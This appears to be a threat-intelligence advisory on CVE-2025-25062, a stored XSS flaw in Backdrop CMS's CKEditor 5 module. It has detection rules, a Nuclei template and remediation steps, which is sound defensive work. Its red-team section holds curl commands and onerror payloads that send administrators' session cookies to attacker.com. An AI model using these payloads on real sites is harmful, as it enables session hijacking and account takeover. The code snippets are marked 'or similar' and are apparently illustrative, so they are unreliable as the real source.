CVE-2025-25062

Executive Summary

CVE-2025-25062 is a stored Cross-Site Scripting (XSS) vulnerability in Backdrop CMS versions 1.28.x before 1.28.5 and 1.29.x before 1.29.3. The flaw resides in the CKEditor 5 module, which fails to sufficiently isolate long text content. An attacker with content creation privileges (e.g., node or comment forms) can inject malicious HTML and JavaScript into long text fields. The payload is triggered when an administrator edits the affected content via CKEditor 5, not merely when viewing it. This stored XSS can lead to session hijacking, credential theft, or privilege escalation. The vulnerability is mitigated by the requirement for both attacker content creation access and administrator edit interaction. A public Nuclei template exists, confirming active exploitation risk.

Supply Chain & Package Security

This vulnerability affects the Backdrop CMS core when the CKEditor 5 module is enabled. Backdrop CMS is a Drupal fork distributed via its own package ecosystem. The CKEditor 5 module is a core module, not a third-party package. No supply chain compromise of the package registry has been identified. The risk is limited to instances running vulnerable versions with the CKEditor 5 module active.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.4 (Medium)
• Attack Vector (AV): Network – the attack is carried out over the network.
• Attack Complexity (AC): High – the attacker must have content creation privileges and the administrator must edit the content.
• Privileges Required (PR): Low – the attacker needs an account with content creation permissions.
• User Interaction (UI): Required – the administrator must edit the malicious content.
• Scope (S): Changed – the vulnerability impacts resources beyond the vulnerable component (admin session).
• Confidentiality (C): Low – limited information disclosure (e.g., session tokens).
• Integrity (I): Low – limited ability to modify content or perform actions as admin.
• Availability (A): None – no denial-of-service impact.

Threat Level: Medium. Exploitation requires chaining low-privilege access with social engineering (admin edit action). The EPSS score is 0.2841 (percentile 96.5), indicating active scanning and exploitation attempts in the wild.

Deep Dive & Mechanics

The vulnerability exists in the CKEditor 5 module's handling of long text fields. When an administrator opens a node or comment for editing, CKEditor 5 loads the raw HTML content into its WYSIWYG editor. The module fails to sanitize or isolate embedded HTML/JavaScript within long text content before rendering it in the editor's editing interface.

Attack Flow:

1. Prerequisite: Attacker has an account with permission to create nodes or comments (e.g., "author" role).
2. Injection: Attacker creates a new node or comment and includes a malicious payload in a long text field (e.g., body). Example payload: <img src="x" onerror="alert('XSS')">.
3. Trigger: An administrator navigates to the content and clicks "Edit". CKEditor 5 loads the content, including the malicious payload, into the editor's DOM.
4. Execution: The browser executes the injected JavaScript (e.g., onerror event) in the context of the admin's session.
5. Impact: The attacker can steal session cookies, perform actions as the admin, or exfiltrate sensitive data.

Root Cause: The CKEditor 5 module does not apply output encoding or HTML sanitization to long text content when populating the editor. The content is passed directly from the database to the editor's setData() method without filtering.

Vulnerable vs. Patched Code

Vulnerable (Backdrop CMS < 1.28.5 / < 1.29.3):

// In ckeditor5.module or similar
function ckeditor5_preprocess_field(&$variables) {
  $element = $variables['element'];
  if ($element['#formatter'] == 'text_default') {
    // Directly passes raw content to CKEditor 5
    $variables['content'] = $element['#items'][0]->value;
  }
}

Patched (Backdrop CMS >= 1.28.5 / >= 1.29.3):

// In ckeditor5.module or similar
function ckeditor5_preprocess_field(&$variables) {
  $element = $variables['element'];
  if ($element['#formatter'] == 'text_default') {
    // Sanitize content before passing to CKEditor 5
    $variables['content'] = backdrop_check_markup($element['#items'][0]->value, 'filtered_html');
  }
}

The patch applies backdrop_check_markup() with the filtered_html text format, which strips dangerous HTML tags and JavaScript events before the content reaches the editor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Backdrop CMS instance (vulnerable version) with CKEditor 5 module enabled.
• Attacker account with "create node" or "create comment" permissions.
• Administrator account that will edit the malicious content.

Step-by-Step Exploitation:

1. Login as attacker:

   curl -c cookies.txt -b cookies.txt -X POST "http://target/?q=user/login" \
     -d "name=attacker&pass=attackerpass&form_id=user_login&op=Log+in"
   

2. Create malicious node:

   curl -c cookies.txt -b cookies.txt -X POST "http://target/?q=node/add/post" \
     -F "title=Malicious Post" \
     -F "body[und][0][value]=<img src=x onerror=\"fetch('http://attacker.com/steal?cookie='+document.cookie)\">" \
     -F "body[und][0][format]=filtered_html" \
     -F "form_id=post_node_form"
   

3. Wait for admin to edit the node. The payload executes in the admin's browser, sending the session cookie to the attacker's server.

Advanced Payload (Session Hijacking):

<img src="x" onerror="
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie), true);
  xhr.send();
">

Blue Team (Detection & Mitigation)

Detection:

• Monitor for nodes/comments containing suspicious HTML attributes (e.g., onerror, onload, onclick).
• Alert on admin users editing content created by low-privilege users.
• Review web server logs for POST requests to /node/add/* or /comment/reply/* with payload patterns.

Mitigation:

• Immediately upgrade to Backdrop CMS 1.28.5 or 1.29.3.
• If upgrade is not possible, disable the CKEditor 5 module and use an alternative editor (e.g., CKEditor 4 or plain textarea).
• Restrict content creation permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline script execution.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from admin browsers to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
  • POST requests to /node/add/* or /comment/reply/* containing <img src=x onerror=... or similar patterns.
• Host:
  • Nodes or comments in the database containing <img src=x onerror=... or <script> tags.
  • Admin browser console errors related to CSP violations (if CSP is enabled).
• Logs:
  • Web server access logs showing admin IPs accessing /node/*/edit shortly after low-privilege user content creation.
  • PHP error logs indicating backdrop_check_markup() failures (if patched but misconfigured).

Detection Engineering

YARA Rule

rule CVE_2025_25062_Backdrop_XSS {
  meta:
    description = "Detects malicious payloads targeting CVE-2025-25062 in Backdrop CMS"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-25062"
    severity = "medium"
  strings:
    $payload1 = /<img\s+src\s*=\s*["']?x["']?\s+onerror\s*=\s*["']?[^"']*["']?\s*\/?>/i
    $payload2 = /<svg\s+onload\s*=\s*["']?[^"']*["']?\s*>/i
    $payload3 = /<body\s+onload\s*=\s*["']?[^"']*["']?\s*>/i
    $payload4 = /<[^>]*\s+onerror\s*=\s*["']?[^"']*["']?\s*[^>]*>/i
    $payload5 = /<[^>]*\s+onmouseover\s*=\s*["']?[^"']*["']?\s*[^>]*>/i
  condition:
    any of ($payload*)
}

Sigma Rule

title: Backdrop CMS Stored XSS via CKEditor 5 (CVE-2025-25062)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Backdrop CMS node/comment creation endpoints containing XSS payloads targeting CKEditor 5.
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-25062
  - https://github.com/XiaomingX/data-cve-poc/tree/main/2025/CVE-2025-25062
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains:
      - '/node/add/'
      - '/comment/reply/'
    cs-body|contains:
      - 'onerror='
      - 'onload='
      - 'onmouseover='
      - '<script>'
  condition: selection
falsepositives:
  - Legitimate use of JavaScript in content (rare, usually filtered)
level: medium
tags:
  - attack.t1059.007
  - cve.2025.25062

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2025-25062 Backdrop CMS Stored XSS Payload Outbound";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/node/add/"; http_uri;
  content:"onerror="; http_client_body;
  classtype:web-application-attack;
  sid:10000001;
  rev:1;
  reference:cve,2025-25062;
  reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-25062;
)

Nuclei Template (Provided)

id: CVE-2025-25062

info:
  name: Backdrop CMS - Cross-Site Scripting
  author: soonghee2
  severity: medium
  description: |
    An XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module.
  impact: |
    Authenticated attackers with content creation permissions can craft malicious HTML and JavaScript in long text fields that executes when administrators edit the content through CKEditor 5, potentially stealing admin session cookies, credentials, or escalating privileges.
  remediation: |
    Update Backdrop CMS to version 1.28.5 or 1.29.3 or later that properly isolates long text content in CKEditor 5.
  reference:
    - https://github.com/XiaomingX/data-cve-poc/tree/main/2025/CVE-2025-25062
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25062
    - https://www.tenable.com/cve/CVE-2025-25062/cpes
    - https://feedly.com/cve/CVE-2025-25062
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
    epss-score: 0.2841
    epss-percentile: 0.96536
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
    shodan-query: "Backdrop CMS"
  tags: cve,cve2025,xss,stored,backdrop,headless,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  random_int: '{{rand_int(1,1000)}}'

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        name={{username}}&pass={{password}}&form_build_id={{editor_login_form_build_id}}&form_id=user_login&op=Log+in

      - |
        GET /?q=accounts/{{username}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?q=user/{{editor_user_id}}/edit HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=1f0d9f4b7e62edd3393c1761177bd48a

        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="title"

        {{randstr}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_tags[und]"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][summary]"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][value]"

        <img src="x" onerror="alert('{{random_int}}')">
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="body[und][0][format]"

        filtered_html
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
        Content-Type: application/octet-stream


        -1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_image[und][0][fid]"

        0
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="field_image[und][0][display]"

        1
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="changed"


        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_build_id"

        {{editor_login_form_build_id}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_token"

        {{post_form_token}}
        --1f0d9f4b7e62edd3393c1761177bd48a
        Content-Disposition: form-data; name="form_id"

        post_node_form
        --1f0d9f4b7e62edd3393c1761177bd48a

    extractors:
      - type: regex
        name: editor_login_form_build_id
        group: 1
        regex:
          - 'name="form_build_id" value="([^"]+)"'
        internal: true

      - type: regex
        name: editor_user_id
        group: 1
        regex:
          - 'q=user/(\d+)/edit">Edit</a>'
        internal: true

      - type: regex
        name: editor_email
        group: 1
        regex:
          - 'name="mail" value="([^"]+)"'
        internal: true

      - type: regex
        name: post_form_build_id
        group: 1
        regex:
          - 'name="form_build_id" value="([^"]+)"'
        internal: true

      - type: regex
        name: post_form_token
        group: 1
        regex:
          - 'name="form_token" value="([^"]+)"'
        internal: true

      - type: regex
        name: exploit_node_id
        group: 1
        regex:
          - '<a href="/node/(\d+)/edit">Edit</a>'
        internal: true

headless:
  - steps:
      - args:
          url: "{{BaseURL}}/?q=posts/{{randstr}}"
        action: navigate

      - action: waitload

      - action: waitdom

      - action:
        args:
          code: |
            () => { document.querySelector('a[href*="q=node/"][href*="/edit"]').click(); }

      - action: waitdialog
        name: reflected_text_xss
        args:
          max-duration: 10s

    matchers:
      - type: dsl
        dsl:
          - reflected_text_xss == true
          - reflected_text_xss_message == random_int
        condition: and

    extractors:
      - type: dsl
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
# digest: 490a004630440220360c7d5b41b647fa30b711c4fb0936f1ef07e8566bbf9fe70b661cd1480e6eec022040b8a854e139464cfae7d41a9a4392192e6fdee233bd56d7d198d43bc1801def:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Backdrop CMS to version 1.28.5 or 1.29.3 (or later). This is the only complete fix.
2. Disable CKEditor 5 module if upgrade is not immediately possible. Use CKEditor 4 or plain textarea as a temporary workaround.
3. Review and restrict content creation permissions to trusted users only. Remove "create node" and "create comment" permissions from low-privilege roles.

Long-Term Hardening:

• Implement Content Security Policy (CSP) headers to block inline JavaScript execution:

  Header always set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

• Enable Web Application Firewall (WAF) rules to block XSS payloads in POST requests.
• Regularly audit user-generated content for malicious HTML/JavaScript.
• Monitor logs for unusual patterns of content creation followed by admin edits.

Patch Verification: After upgrading, verify the patch by checking the version in the admin dashboard or by running the Nuclei template against the instance. The template should no longer trigger the XSS dialog.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10

{/* [Security Hash: 906722C22CE6D5B5768E1F7A] */}